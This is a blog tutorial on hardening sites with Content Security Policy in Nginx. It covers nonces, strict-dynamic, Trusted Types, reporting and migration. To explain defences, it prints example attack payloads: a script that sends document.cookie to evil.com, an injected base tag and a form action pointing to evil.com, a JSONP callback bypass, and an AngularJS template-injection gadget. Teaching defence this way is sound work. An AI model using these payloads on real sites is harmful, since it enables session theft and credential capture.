Back to Blog
José Manuel Requena Plens

Content Security Policy (CSP) with Nginx: The Complete Guide

Master Content Security Policy from zero to A+. Learn CSP progressively—from your first header to strict nonces, hashes, strict-dynamic, and Trusted Types. Includes bypass prevention, debugging techniques, and production-ready Nginx configurations.

Cover image for Content Security Policy (CSP) with Nginx: The Complete Guide

Cross-Site Scripting (XSS) remains one of the most devastating web vulnerabilities, consistently ranking in OWASP’s Top 10 and accounting for approximately 40% of all reported web application security issues. According to Google’s security research, even websites with CSP often fail to implement it correctly—94.72% of allowlist-based CSPs can be bypassed.

Content Security Policy (CSP) is your browser-level defense against these attacks. Think of it as a strict “guest list” for your website—you explicitly tell the browser which resources (scripts, styles, images) are allowed to execute. Anything not on the list gets blocked, even if an attacker manages to inject malicious code.

This guide takes you from zero to a production-ready, A+ rated CSP configuration. You’ll learn not just the “how” but the “why” behind each directive, understand modern bypass techniques and how to prevent them, and discover advanced topics like Trusted Types for DOM-based XSS prevention.

What You'll Learn
  • Start with one line: default-src 'self' gives you immediate protection
  • Use nonces, not allowlists: 94.72% of allowlist CSPs can be bypassed; nonces are cryptographically secure
  • Static sites can use nonces: Nginx’s sub_filter replaces placeholders at request time
  • Adopt strict-dynamic: Trust propagates from nonced scripts to dynamically loaded ones
  • Include security hardening: object-src 'none' and base-uri 'none' are mandatory for strict CSP
  • Trusted Types: The next evolution for DOM-based XSS prevention (CSP Level 3)
  • Deploy safely: Always start in report-only mode before enforcing

The Evolution of CSP

Content Security Policy has evolved significantly since its introduction. Understanding this evolution helps you appreciate why modern “strict CSP” approaches exist.

  1. X-Content-Security-Policy

    Mozilla introduces the first CSP implementation as an experimental header. Mozilla Security Blog

  2. Milestone CSP Level 1

    W3C standardizes CSP with basic fetch directives (script-src, style-src, etc.). W3C CSP 1.0 Spec

  3. Milestone CSP Level 2

    Introduces nonces, hashes, and frame-ancestors. 'unsafe-inline' can be overridden by nonces. W3C CSP Level 2

  4. Deprecated Google Research

    Google publishes 'CSP Is Dead, Long Live CSP' showing 94.72% of allowlist CSPs are bypassable. Research Paper

  5. Standard strict-dynamic

    New keyword allows trusted scripts to load dependencies without explicit allowlisting. MDN strict-dynamic

  6. Milestone CSP Level 3 (Working Draft)

    Introduces Trusted Types, report-to, and improved WebAssembly support. W3C CSP Level 3

  7. Standard Trusted Types Adoption

    Browser support matures; enterprises begin adopting for DOM-XSS prevention. web.dev Trusted Types


Your First CSP in 5 Minutes

Let’s get a working CSP right now. Open your Nginx configuration and add this single header:

/​etc/​nginx/​sites-available/​example.com
server {
    listen 443 ssl;
    server_name example.com;
    
    # Your first CSP - allow resources only from your own domain
    add_header Content-Security-Policy "default-src 'self'" always;
    
    # ... rest of your config
}

Test your configuration and reload Nginx:

sudo nginx -t && sudo systemctl reload nginx

That’s it! You now have a working CSP. Open your browser’s DevTools (F12 → Console) to see any violations:

Refused to load the script ‘https://cdn.example.com/analytics.js’ because it violates the following Content Security Policy directive: “default-src ‘self’”.


Understanding CSP: The Whitelist Concept

CSP works by defining what’s allowed, not what’s blocked. Think of it as a VIP list at an exclusive event—only resources on the list get in.

Browser

✓ Allowed

✗ Blocked

CSP Policy

Your scripts\n(self)

CDN scripts\n(external)

Inline scripts\n()

Injected XSS\nscripts

Execute

Reject

CSP acts as a gatekeeper for all browser resources

Why CSP Matters: The Defense-in-Depth Principle

Without CSP, if an attacker injects <script>stealCookies()</script> into your page (via a comment form, URL parameter, or database), the browser happily executes it—there’s no way to distinguish legitimate scripts from malicious ones.

With CSP, the browser checks every resource against your policy before execution. If inline scripts aren’t explicitly allowed, the attack is neutralized at the browser level.


How XSS Attacks Work (and How CSP Stops Them)

To understand CSP’s value, let’s trace a typical XSS attack:

Attacker's ServerVictim's BrowserYour WebsiteAttackerAttacker's ServerVictim's BrowserYour WebsiteAttackerComment stored in database(no sanitization)Browser sees <script> tagand executes itAttacker now hasvictim's sessionSubmit malicious commentcontaining script tagVisit page with commentsHTML with injected scriptScript sends cookies/sessiontokens to attacker
XSS attack flow without CSP protection

Step-by-Step Breakdown

  1. Injection: Attacker submits a comment containing:

    <script>fetch('https://evil.com?c='+document.cookie)</script>
  2. Storage: The website stores this in the database without proper sanitization

  3. Delivery: When another user views the page, the malicious script is served as part of the HTML

  4. Execution: The browser sees a <script> tag and executes it—no questions asked

  5. Exfiltration: The script sends session cookies to the attacker’s server

How CSP Breaks the Chain

With CSP (script-src 'self'), step 4 fails. The browser checks: “Is this an inline script? Is 'unsafe-inline' allowed?” Since inline scripts are blocked by default, the attack is neutralized:

Refused to execute inline script because it violates the following Content Security Policy directive: “script-src ‘self’”. Either the ‘unsafe-inline’ keyword, a hash (‘sha256-…’), or a nonce (‘nonce-…’) is required to enable inline execution.


Attack Vectors CSP Prevents

CSP addresses multiple threat categories. Here’s how different directives create defense-in-depth:

Common Threats Mitigated by CSP
ThreatAttack VectorCSP Defense
Reflected XSSScripts injected via URL parametersscript-src without ‘unsafe-inline’
Stored XSSScripts injected via database contentscript-src with nonces/hashes
DOM-based XSSeval(), innerHTML abusescript-src without ‘unsafe-eval’ + Trusted Types
Data exfiltrationXHR/fetch to attacker serversconnect-src ‘self’
ClickjackingSite framed by malicious pageframe-ancestors ‘none’
Mixed contentHTTP resources on HTTPS pagesupgrade-insecure-requests
Plugin attacksFlash, Java, PDF exploitsobject-src ‘none’
Form hijackingInjected forms to steal credentialsform-action ‘self’
Base tag injectionRedirecting relative URLs to attackerbase-uri ‘none’

CSP Directives: Learn by Doing

Instead of memorizing tables, let’s learn each directive by adding it to our policy progressively.

1. default-src: The Fallback

This is the catch-all directive. If you don’t specify a directive for a resource type, default-src applies.

default-src CSP Level 1 MDN
Syntax default-src <source-list>
Default * (allow all)

Fallback for all unspecified fetch directives. Set this restrictively and add specific directives as needed.

Best practice: Set default-src 'none' and explicitly allow what you need. This is the “deny by default” approach that security professionals recommend.

NGINXdefault-src directive
# Block everything by default - explicitly allow what you need
Content-Security-Policy: default-src 'none';

2. script-src: The Most Critical Directive

This controls which scripts can execute on your page. Get this wrong and your entire CSP is effectively useless.

script-src CSP Level 1 MDN
Syntax script-src <source-list>
Default Falls back to default-src

Specifies valid sources for JavaScript. This is the most important directive for XSS protection.

script-src Source Values
ValueMeaningSecurity
’self’Same origin only (scheme + host + port)Safe
’none’Block all scripts entirelyMaximum
’nonce-{random}‘Allow scripts with matching nonce attributeRecommended
’sha256-{hash}‘Allow scripts with matching content hashStrong
’strict-dynamic’Trust propagates to dynamically loaded scriptsStrong
https://cdn.example.comAllow scripts from specific domainWeak (bypassable)
‘unsafe-inline’Allow all inline scriptsDangerous
’unsafe-eval’Allow eval(), Function(), etc.Dangerous

3. style-src: CSS Control

style-src CSP Level 1 MDN
Syntax style-src <source-list>
Default Falls back to default-src

Specifies valid sources for stylesheets. Less critical than script-src but still important for comprehensive protection.

NGINXstyle-src with unsafe-inline
# Allow styles from same origin + inline styles
style-src 'self' 'unsafe-inline';

4. Resource Directives

# Allow images from same origin + data: URIs (for base64)
img-src 'self' data:;

data: is often needed for base64-encoded images, SVG icons, or placeholder images.

# Allow fonts from same origin only
font-src 'self';

# Or allow Google Fonts
font-src 'self' https://fonts.gstatic.com;
# Restrict XHR/Fetch/WebSocket destinations
# Critical for preventing data exfiltration
connect-src 'self' https://api.example.com;

This controls where JavaScript can send data. Critical for preventing stolen data from being sent to attacker servers.

# Audio and video sources
media-src 'self';
# Web Workers and Service Workers
worker-src 'self';

# For sites using blob: URLs for workers
worker-src 'self' blob:;

Controls sources for Worker, SharedWorker, and ServiceWorker scripts. If not specified, falls back to script-src.

5. Security Hardening Directives

These are often overlooked but are required for strict CSP:

object-src 'none' — Block Plugins

Plugins like Flash and Java have historically been major vulnerability vectors. Although Flash is deprecated, blocking object-src prevents any plugin-based attacks:

NGINXobject-src directive
# Block all plugins (Flash, Java, Silverlight, PDF viewers)
object-src 'none';

base-uri 'none' — Prevent Base Tag Injection

The <base> tag defines a base URL for all relative URLs in a document. If an attacker injects a <base> tag, they can redirect all your relative URLs to their server:

Attack Without base-uri
<!-- Attacker injects this -->
<base href="https://evil.com/">

<!-- Your existing code now loads from attacker! -->
<script src="/js/app.js"></script>
<!-- Loads https://evil.com/js/app.js -->
With base-uri 'none'
Content-Security-Policy: base-uri 'none'

<!-- Injection attempt blocked! -->
Refused to set the document's base URI to 
'https://evil.com/' because it violates CSP.

frame-ancestors 'none' — Clickjacking Protection

Prevents your site from being embedded in iframes on other sites:

NGINXframe-ancestors directive
# Don't allow embedding anywhere (replaces X-Frame-Options)
frame-ancestors 'none';

# Or allow embedding only on your own domain
frame-ancestors 'self';

form-action 'self' — Control Form Submissions

Prevents attackers from injecting forms that submit data to their servers:

NGINXform-action directive
# Forms can only submit to your own domain
form-action 'self';

Building Your CSP Layer by Layer

Rather than writing a perfect CSP in one go (which leads to frustration), let’s build progressively. Each layer adds protection, and you can stop at any level based on your needs.

CSP Security Levels
LevelPolicy AdditionProtection Added
0No CSPNone—wide open to XSS
1default-src ‘none’Blocks everything by default
2+ script-src ‘self’Only your scripts run
3+ style-src, img-src, font-srcControls visual resources
4+ connect-src ‘self’; object-src ‘none’Limits data exfiltration, blocks plugins
5+ base-uri ‘none’; frame-ancestors ‘none’Prevents injection & clickjacking
6+ form-action ‘self’; upgrade-insecure-requestsFull baseline protection

Level 6: A Solid Baseline CSP

Here’s what Level 6 looks like in practice:

/​etc/​nginx/​sites-available/​example.com
add_header Content-Security-Policy "
    default-src 'none';
    script-src 'self';
    style-src 'self' 'unsafe-inline';
    img-src 'self' data:;
    font-src 'self';
    connect-src 'self';
    object-src 'none';
    base-uri 'none';
    frame-ancestors 'none';
    form-action 'self';
    upgrade-insecure-requests;
" always;

The Inline Script Challenge

Most websites have inline scripts like this:

HTMLCommon inline script
<script>
  // Theme detection - runs before page renders
  const theme = localStorage.getItem('theme') || 'system';
  document.documentElement.classList.add(theme);
</script>

With script-src 'self', this is blocked. You have three solutions:

Inline Script Solutions Comparison
SolutionBest ForProsCons
External FilesSimple casesNo nonces/hashes needed; cacheableExtra HTTP request; can’t run before render
HashesStatic scriptsWorks for static content; no server changesMust regenerate on any script change
NoncesAll casesMost flexible; Google-recommendedRequires server-side nonce (Nginx trick for static sites)

Solution 1: Move to External Files

The cleanest approach—move inline code to .js files:

Inline (blocked by CSP)
<head>
  <script>
    initTheme();
  </script>
</head>
External (allowed)
<head>
  <script src="/js/theme.js"></script>
</head>

Solution 2: Use Hashes

Generate a SHA-256 hash of your script content and add it to your CSP. Try it yourself:

Generate Your Script Hash
Generated Hashes
SHA-256 Recommended
Calculating...
SHA-384
Calculating...
SHA-512
Calculating...
CSP Directive (using SHA-256)
Calculating...
HTML with matching script:
...
How it works: The browser calculates the hash of your inline script content (excluding <script> tags) and compares it against the hash in your CSP header. If they match, the script executes. Any change to the script—even whitespace—invalidates the hash. SHA-256 is recommended for broad compatibility.

Limitation: You must regenerate the hash whenever the script content changes—even adding a space will invalidate it.

Solution 3: Use Nonces

Add a random token to both the CSP header and your script tags:

Content-Security-Policy: 
  script-src 'self' 'nonce-abc123def456';
<script nonce="abc123def456">
  const theme = localStorage.getItem('theme');
  document.documentElement.classList.add(theme);
</script>

Critical: The nonce must be:

  • Cryptographically random (at least 128 bits / 16 bytes)
  • Unique per request (never reuse nonces)
  • Encoded (base64 or hex — Nginx’s $request_id uses hex, which is valid per CSP spec)

Nonces for Static Sites: The Nginx Trick

Here’s the challenge: Static Site Generators (Astro, Next.js, Hugo) build HTML at build time. But nonces must be unique per request. How can static HTML contain dynamic nonces?

The Solution: Placeholder Substitution

BrowserNginxHTML on DiskBuild TimeBrowserNginxHTML on DiskBuild TimePlaceholder storedNonces match ✓Script executesHTML with placeholdernonce="CSP_NONCE_NGINX"GET /page.htmlGenerate unique nonce($request_id)Replace placeholderwith real nonceHTML + CSP headerwith matching nonce
Nginx nonce injection for static sites

Step 1: Use Placeholders in Your Templates

In your templates, use a placeholder that Nginx will replace:

src/​layouts/​BaseLayout.astro
---
// Layout component
---
<html>
  <head>
    <!-- Nginx will replace this placeholder -->
    <script is:inline nonce="CSP_NONCE_NGINX">
      const theme = localStorage.getItem('theme') || 'system';
      document.documentElement.dataset.theme = theme;
    </script>
  </head>
  <body>
    <slot />
  </body>
</html>

Step 2: Configure Nginx

/​etc/​nginx/​sites-available/​example.com
server {
    listen 443 ssl;
    server_name example.com;
    
    # ================================================
    # STEP 1: Generate unique nonce per request
    # ================================================
    # $request_id = 32-char hex string (128 bits entropy)
    set $cspNonce $request_id;

    # ================================================
    # STEP 2: Replace placeholder with real nonce
    # ================================================
    # NOTE: sub_filter requires uncompressed responses.
    # For proxied backends, add: proxy_set_header Accept-Encoding "";
    # For static files, ensure gzip is disabled or applied after sub_filter.
    sub_filter_once off;  # Replace ALL occurrences
    sub_filter_types text/html text/css application/javascript;
    sub_filter CSP_NONCE_NGINX $cspNonce;

    # ================================================
    # STEP 3: Set CSP header with same nonce
    # ================================================
    add_header Content-Security-Policy "
        default-src 'none';
        script-src 'self' 'nonce-$cspNonce' 'strict-dynamic';
        style-src 'self' 'unsafe-inline';
        img-src 'self' data:;
        font-src 'self';
        connect-src 'self';
        object-src 'none';
        base-uri 'none';
        frame-ancestors 'none';
        form-action 'self';
        upgrade-insecure-requests;
    " always;
    
    # ... rest of config
}

What the Browser Sees

<!-- Static file on disk -->
<script nonce="CSP_NONCE_NGINX">
  const theme = localStorage.getItem('theme');
</script>
HTTP/2 200 OK
Content-Security-Policy: script-src 'nonce-a1b2c3d4e5f6...' ...
<!-- What browser actually receives -->
<script nonce="a1b2c3d4e5f6...">
  const theme = localStorage.getItem('theme');
</script>

Going Strict with 'strict-dynamic'

The 'strict-dynamic' keyword is a game-changer: it allows scripts loaded by trusted scripts to also execute, without needing their own nonces.

No Trust (Blocked)

Trust Chain (Allowed)

CSP Policy

Creates

Loads

Validates

No match

No match

Nonce in header

'nonce-abc123'

Script with

nonce=abc123

createElement('script')

(no nonce needed)

Dynamically loaded

library.js

Injected XSS

script tag

Event handler

onclick=...

Blocked

Trust propagation with strict-dynamic

How It Works

HTMLTrust propagation example
<!-- This script has a valid nonce -->
<script nonce="abc123">
  // This dynamically created script ALSO runs
  // because it inherits trust from the parent
  const script = document.createElement('script');
  script.src = 'https://cdn.example.com/analytics.js';
  document.head.appendChild(script);
</script>

When to Use 'strict-dynamic'

strict-dynamic Use Cases
ScenarioUse strict-dynamic?Reason
SPA with code splittingYesWebpack/Vite load chunks dynamically
Analytics (GA, Segment)YesAnalytics scripts often load additional scripts
Third-party widgetsYesChat widgets, embeds load their own dependencies
Simple static siteOptionalIf all scripts are in HTML, nonces alone suffice
No JavaScript at allNoUse script-src ‘none’ instead

The Strict CSP Formula

Based on Google’s research, a “strict CSP” that actually protects against XSS requires these elements:

Strict CSP Requirements
  • Uses nonces or hashes instead of domain allowlists
  • Includes 'strict-dynamic' for dynamic script loading
  • Sets object-src 'none' to block plugins
  • Sets base-uri 'none' to prevent base tag injection

The Template

NGINXStrict CSP template
# The three essential directives for strict CSP
script-src 'nonce-$cspNonce' 'strict-dynamic';
object-src 'none';
base-uri 'none';

Why Allowlists Don’t Work

Common bypass vectors include:

  • JSONP endpoints on trusted CDNs
  • Open redirects on allowed domains
  • AngularJS template injection on allowed origins
  • User-uploaded content served from allowed domains

Interactive: Build Your CSP

Use this interactive builder to construct a policy and see your security rating in real-time:

CSP Policy Builder
Quick Presets
Core Directives
default-src Strict Block all resources by default (deny-by-default approach) 'none'
script-src Strict Allow scripts from same origin with nonce 'self' 'nonce-{RANDOM}'
style-src Allow styles from same origin + inline styles 'self' 'unsafe-inline'
Security Hardening
object-src Strict Block plugins (Flash, Java) — Required for strict CSP 'none'
base-uri Strict Prevent base tag injection — Required for strict CSP 'none'
frame-ancestors No Meta Prevent clickjacking (replaces X-Frame-Options) 'none'
form-action Restrict form submissions to same origin 'self'
frame-src Control sources for frames and iframes 'self'
sandbox No Meta Apply sandbox restrictions (like iframe sandbox) allow-scripts allow-same-origin
Resource Control
img-src Allow images from same origin + data URIs 'self' data:
font-src Allow fonts from same origin 'self'
connect-src Restrict XHR/Fetch/WebSocket connections 'self'
media-src Allow audio/video from same origin 'self'
worker-src Allow Web Workers from same origin 'self'
child-src Control workers and nested browsing contexts 'self'
manifest-src Control web app manifest sources 'self'
Advanced Options
strict-dynamic Trust scripts loaded by trusted scripts (add to script-src)
upgrade-insecure-requests Auto-upgrade HTTP to HTTPS
block-all-mixed-content Deprecated Block all HTTP resources on HTTPS pages
require-trusted-types-for Require Trusted Types for DOM XSS sinks 'script'
report-to No Meta Modern reporting endpoint (use with Reporting-Endpoints header) csp-endpoint
report-uri Deprecated No Meta Violation report endpoint (deprecated, use report-to) /csp-reports
Generated Policy
Content-Security-Policy: ...
Security Level: ...
Enable script-src with nonce, object-src 'none', and base-uri 'none' for Google's recommended Strict CSP.

CSP Bypass Techniques and Prevention

Understanding how attackers bypass CSP helps you avoid common pitfalls.

1. JSONP Endpoints

JSONP endpoints execute user-controlled callbacks, making them a classic bypass vector:

Vulnerable
# CSP trusts all of cdn.example.com
script-src 'self' https://cdn.example.com;
<!-- Attacker exploits JSONP endpoint -->
<script src="https://cdn.example.com/api?callback=alert(1)//"></script>
Protected
# Use nonces instead of domain allowlists
script-src 'nonce-$cspNonce' 'strict-dynamic';
<!-- JSONP has no nonce - blocked! -->
<script src="https://cdn.example.com/api?callback=alert"></script>
<!-- Refused to execute script... -->

2. Form Hijacking

Attackers can inject forms to steal credentials if form-action isn’t set:

HTMLForm hijacking attack
<!-- Attacker injects this before your login form -->
<form action="https://evil.com/steal">
  <!-- Your existing input fields get captured -->
</form>

<!-- Without form-action, the browser allows submission to evil.com! -->

Prevention:

form-action 'self';

3. Base Tag Injection

HTMLBase tag attack
<!-- Attacker injects this early in the document -->
<base href="https://evil.com/">

<!-- All your relative URLs now resolve to evil.com -->
<script src="/js/app.js"></script>  <!-- Loads https://evil.com/js/app.js -->
<img src="/images/logo.png">        <!-- Loads https://evil.com/images/logo.png -->
<a href="/login">Login</a>          <!-- Links to https://evil.com/login -->

Prevention:

base-uri 'none';

4. Script Gadgets in Allowed Libraries

Some major libraries contain patterns that can be exploited for XSS when that library is allowed by CSP:

According to research by Sebastian Lekies et al., common libraries contain exploitable patterns:

Script Gadgets in Popular Libraries
LibraryGadget TypeAttack VectorRisk
AngularJS (1.x)Template injectionng-app + {{constructor.constructor(‘alert(1)’)()}}Critical
jQuery (<3.0)Selector-based XSS$(location.hash) with user inputHigh
Require.jsDynamic importsAttacker-controlled module pathsMedium
Dojo ToolkitModule loadingrequire() with user inputMedium
Google ClosureTemplate systemUnsafe template renderingMedium

5. Missing object-src

Without object-src 'none', attackers can use plugins to execute code:

HTMLObject-based XSS
<!-- Flash-based XSS (legacy but still seen) -->
<object data="data:application/x-shockwave-flash;base64,..." 
        type="application/x-shockwave-flash">
</object>

<!-- PDF with JavaScript -->
<embed src="malicious.pdf" type="application/pdf">

Prevention:

object-src 'none';

Trusted Types: The Next Evolution

While traditional CSP prevents injection of <script> tags, it doesn’t protect against DOM-based XSS where JavaScript directly writes to dangerous sinks:

JAVASCRIPTDOM-based XSS vulnerability
// These are dangerous DOM sinks
element.innerHTML = userInput;           // XSS if userInput contains HTML
location.href = userInput;               // Open redirect/XSS
document.write(userInput);               // XSS
eval(userInput);                         // Remote code execution

Trusted Types forces developers to sanitize data before passing it to these sinks.

Trusted Types are experimental but maturing

Trusted Types is experimental .

How Trusted Types Work

User Input

innerHTML

XSS Executed

User Input

Sanitizer Policy

TrustedHTML

innerHTML

Safe

Trusted Types enforce sanitization at DOM sinks

Enabling Trusted Types

nginx.conf (CSP with Trusted Types)
add_header Content-Security-Policy "
    default-src 'none';
    script-src 'self' 'nonce-$cspNonce' 'strict-dynamic';
    style-src 'self' 'unsafe-inline';
    img-src 'self' data:;
    font-src 'self';
    connect-src 'self';
    object-src 'none';
    base-uri 'none';
    frame-ancestors 'none';
    form-action 'self';
    
    # Trusted Types enforcement
    require-trusted-types-for 'script';
    trusted-types default;
" always;

Creating a Trusted Types Policy

JAVASCRIPTTrusted Types sanitization policy
// Create a policy that sanitizes HTML
if (window.trustedTypes && trustedTypes.createPolicy) {
  const sanitizerPolicy = trustedTypes.createPolicy('default', {
    createHTML: (input) => {
      // Use DOMPurify or similar sanitizer
      return DOMPurify.sanitize(input);
    },
    createScriptURL: (input) => {
      // Only allow same-origin URLs
      const url = new URL(input, window.location.origin);
      if (url.origin !== window.location.origin) {
        throw new Error('Cross-origin scripts not allowed');
      }
      return url.href;
    }
  });
}

// Now innerHTML requires TrustedHTML
element.innerHTML = userInput;  // TypeError: requires TrustedHTML
element.innerHTML = sanitizerPolicy.createHTML(userInput);  // Works!

Advanced: Per-Endpoint CSP

Different parts of your site may need different policies:

  • Admin panels: Stricter CSP
  • API endpoints: No CSP needed (JSON isn’t executed)
  • Static assets: Relaxed for social media previews
  • User-generated content pages: Extra restrictions

Implementation

/​etc/​nginx/​sites-available/​example.com
server {
    listen 443 ssl;
    server_name example.com;
    
    # Default: strict CSP for HTML pages
    location / {
        try_files $uri $uri/ =404;
        include /etc/nginx/snippets/security-headers-strict.conf;
    }
    
    # API: no CSP needed for JSON
    location /api/ {
        proxy_pass http://backend;
        # No CSP header - JSON isn't executed by browsers
    }
    
    # Assets: relaxed for social media crawlers
    location /assets/ {
        expires 1y;
        add_header Cache-Control "public, immutable";
        include /etc/nginx/snippets/security-headers-assets.conf;
    }
}
# /etc/nginx/snippets/security-headers-strict.conf
add_header Content-Security-Policy "
    default-src 'none';
    script-src 'self' 'nonce-$cspNonce' 'strict-dynamic';
    ...
" always;

# Prevent embedding
add_header Cross-Origin-Resource-Policy "same-origin" always;
# /etc/nginx/snippets/security-headers-assets.conf
add_header Content-Security-Policy "
    default-src 'none';
    img-src 'self';
    font-src 'self';
" always;

# Allow social media to fetch images for previews
add_header Cross-Origin-Resource-Policy "cross-origin" always;

Migration: Report-Only to Enforcement

Never deploy strict CSP directly to production. Use a phased approach:

Safe CSP Migration Process
  1. Deploy in report-only mode (1-2 weeks)

    Use Content-Security-Policy-Report-Only to log violations without blocking anything. Monitor your logs to understand what would break.

  2. Analyze and fix violations

    Review reports and remediate issues:

    • Inline event handlers → addEventListener()
    • eval() calls → JSON.parse() or refactor
    • Missing nonces on inline scripts
    • Third-party scripts that need strict-dynamic
  3. Enable enforcement gradually

    Switch from Report-Only to Content-Security-Policy. Keep a report-only header for testing future stricter policies.

Phase 1: Report-Only

NGINXReport-only mode
# Logs violations but doesn't block anything
add_header Content-Security-Policy-Report-Only "
    default-src 'none';
    script-src 'self' 'nonce-$cspNonce' 'strict-dynamic';
    style-src 'self' 'unsafe-inline';
    img-src 'self' data:;
    font-src 'self';
    connect-src 'self';
    object-src 'none';
    base-uri 'none';
    frame-ancestors 'none';
    form-action 'self';
    upgrade-insecure-requests;
    report-uri /csp-reports;
" always;

Phase 2: Fix Common Issues

Common Issues to Fix
  • Inline event handlers → Convert onclick="..." to addEventListener()
  • eval() usage → Replace with JSON.parse() or refactor
  • Missing nonces → Add nonce="CSP_NONCE_NGINX" to inline scripts
  • Third-party scripts → Verify 'strict-dynamic' covers them
  • Inline styles in JS → Use CSS classes or CSS custom properties

Phase 3: Enforce

NGINXEnforcement mode
# Now blocking violations
add_header Content-Security-Policy "..." always;

# Optional: keep report-only for testing stricter future policies
add_header Content-Security-Policy-Report-Only "...even-stricter-policy..." always;

Setting Up CSP Reporting

CSP’s built-in reporting tells you when violations occur—essential for debugging and detecting attacks.

report-uri is deprecated

report-uri is deprecated .

Use instead: report-to

Option 1: Simple Nginx Logging

/​etc/​nginx/​sites-available/​example.com
# Reporting endpoint
location /csp-reports {
    access_log /var/log/nginx/csp-reports.log;
    return 204;
}
CSP Header with reporting
# Modern Reporting API (Chrome 70+)
add_header Reporting-Endpoints 'csp-endpoint="/csp-reports"' always;

# CSP with both legacy and modern reporting
add_header Content-Security-Policy "
    default-src 'none';
    script-src 'self' 'nonce-$cspNonce' 'strict-dynamic';
    ...
    report-uri /csp-reports;
    report-to csp-endpoint;
" always;

Option 2: Third-Party Services

Services like Report URI provide dashboards and analysis:

NGINXThird-party reporting
report-uri https://your-subdomain.report-uri.com/r/d/csp/enforce;
report-to csp-endpoint;

Violation Report Format

Browsers send JSON reports like this:

csp-violation-report.json
{
  "csp-report": {
    "document-uri": "https://example.com/page",
    "blocked-uri": "https://evil.com/script.js",
    "violated-directive": "script-src-elem",
    "effective-directive": "script-src-elem",
    "original-policy": "script-src 'nonce-abc123' 'strict-dynamic'",
    "disposition": "enforce",
    "status-code": 200,
    "script-sample": "",
    "line-number": 42,
    "column-number": 15,
    "source-file": "https://example.com/page"
  }
}

Refactoring Code for CSP

Some common patterns are incompatible with strict CSP. Here’s how to fix them:

Inline Event Handlers → addEventListener

Blocked by CSP
<button onclick="submitForm()">Submit</button>
<a href="javascript:doSomething()">Click</a>
<form onsubmit="validate()">...</form>
CSP-Compatible
<button id="submitBtn">Submit</button>
<a href="#" id="actionLink">Click</a>
<form id="myForm">...</form>

<script nonce="CSP_NONCE_NGINX">
  document.getElementById('submitBtn')
    .addEventListener('click', submitForm);
  
  document.getElementById('actionLink')
    .addEventListener('click', (e) => {
      e.preventDefault();
      doSomething();
    });
  
  document.getElementById('myForm')
    .addEventListener('submit', validate);
</script>

eval() → JSON.parse()

Uses eval() - Blocked
// Dangerous - blocked by CSP
const data = eval('(' + jsonString + ')');
setTimeout('doSomething()', 1000);
const fn = new Function('x', 'return x * 2');
Uses JSON.parse() - Allowed
// Safe - works with strict CSP
const data = JSON.parse(jsonString);
setTimeout(doSomething, 1000);
const fn = (x) => x * 2;

Inline Styles in JS → CSS Custom Properties

Using setAttribute (can be blocked)
// setAttribute('style', ...) can be blocked by style-src
element.setAttribute('style', 'color:' + color);
// Note: element.style.property = value is NOT blocked by CSP,
// but using CSS custom properties is more maintainable
CSS Custom Properties
// Works with strict CSP and is more maintainable
element.style.setProperty('--user-color', userColor);
element.classList.add('highlighted');
.highlighted {
  background: var(--user-color, #fff);
}

Testing and Validation

Browser DevTools

Your best friend for CSP debugging. Open F12 → Console to see violations in real-time:

Refused to execute inline script because it violates the following Content Security Policy directive: “script-src ‘nonce-abc123’ ‘strict-dynamic’”. Either the ‘unsafe-inline’ keyword, a hash (‘sha256-…’), or a nonce (‘nonce-…’) is required to enable inline execution.

Online Tools

CSP Testing Tools
ToolPurpose
Mozilla ObservatoryComprehensive security header grading (A+ possible)
Google CSP EvaluatorFinds logical bypasses in your policy (highly recommended)
SecurityHeaders.comQuick header analysis and scoring
CSP Hash GeneratorGenerate hashes for inline scripts

Common Pitfalls

1. Using 'unsafe-inline' for Scripts

Defeats CSP protection
# Your CSP is now useless for XSS protection
script-src 'self' 'unsafe-inline';
Use nonces instead
# Actual protection
script-src 'self' 'nonce-$cspNonce';

2. Overly Permissive Sources

NGINXDON'T: Trusting entire schemes
# DANGER: Trusts the entire internet!
script-src 'self' https:;
img-src *;

This allows any HTTPS script to execute, completely defeating CSP’s purpose.

3. Forgetting Required Directives

Incomplete - Bypassable
# Missing critical directives!
script-src 'nonce-$cspNonce';
Complete Strict CSP
# All required directives present
script-src 'nonce-$cspNonce' 'strict-dynamic';
object-src 'none';
base-uri 'none';

4. Missing always in Nginx

Only 2xx responses
# CSP missing on 404, 500 pages!
add_header Content-Security-Policy "...";
All responses including errors
# CSP on ALL responses
add_header Content-Security-Policy "..." always;

Without always, CSP headers won’t be sent on error pages (404, 500), leaving those pages vulnerable.

5. add_header Inheritance Gotcha

NGINXHeaders get overwritten in nested locations
location / {
    add_header Content-Security-Policy "..." always;
    add_header X-Frame-Options "DENY" always;
}

location /assets/ {
    # WARNING: This REPLACES parent headers, not adds to them!
    add_header Cache-Control "public, immutable" always;
    # CSP and X-Frame-Options are now MISSING here!
}

Solution: Use include snippets to share headers across locations.


Complete Production Example

/​etc/​nginx/​sites-available/​example.com
server {
    listen 443 ssl;
    listen [::]:443 ssl;
    http2 on;
    server_name example.com;
    
    root /var/www/example.com;
    index index.html;
    
    # ================================================
    # CSP Nonce Setup
    # ================================================
    set $cspNonce $request_id;
    sub_filter_once off;
    sub_filter_types text/html text/css application/javascript;
    sub_filter CSP_NONCE_NGINX $cspNonce;
    
    # ================================================
    # Build CSP Header
    # ================================================
    set $csp "default-src 'none'; ";
    set $csp "${csp}script-src 'self' 'nonce-${cspNonce}' 'strict-dynamic'; ";
    set $csp "${csp}style-src 'self' 'unsafe-inline'; ";
    set $csp "${csp}img-src 'self' data:; ";
    set $csp "${csp}font-src 'self'; ";
    set $csp "${csp}connect-src 'self'; ";
    set $csp "${csp}worker-src 'self'; ";
    set $csp "${csp}object-src 'none'; ";
    set $csp "${csp}base-uri 'none'; ";
    set $csp "${csp}frame-ancestors 'none'; ";
    set $csp "${csp}form-action 'self'; ";
    set $csp "${csp}upgrade-insecure-requests; ";
    set $csp "${csp}report-uri /csp-reports; ";
    set $csp "${csp}report-to csp-endpoint";
    
    # ================================================
    # Security Headers
    # ================================================
    add_header Reporting-Endpoints 'csp-endpoint="/csp-reports"' always;
    add_header Content-Security-Policy $csp always;
    add_header X-Content-Type-Options "nosniff" always;
    add_header X-Frame-Options "DENY" always;
    add_header Referrer-Policy "strict-origin-when-cross-origin" always;
    add_header Strict-Transport-Security "max-age=31536000; includeSubDomains; preload" always;
    add_header Permissions-Policy "camera=(), microphone=(), geolocation=()" always;
    add_header Cross-Origin-Opener-Policy "same-origin" always;
    # Note: require-corp is strict - external resources (fonts, CDNs) must provide
    # CORP/CORS headers. Use "credentialless" for broader compatibility.
    add_header Cross-Origin-Embedder-Policy "require-corp" always;
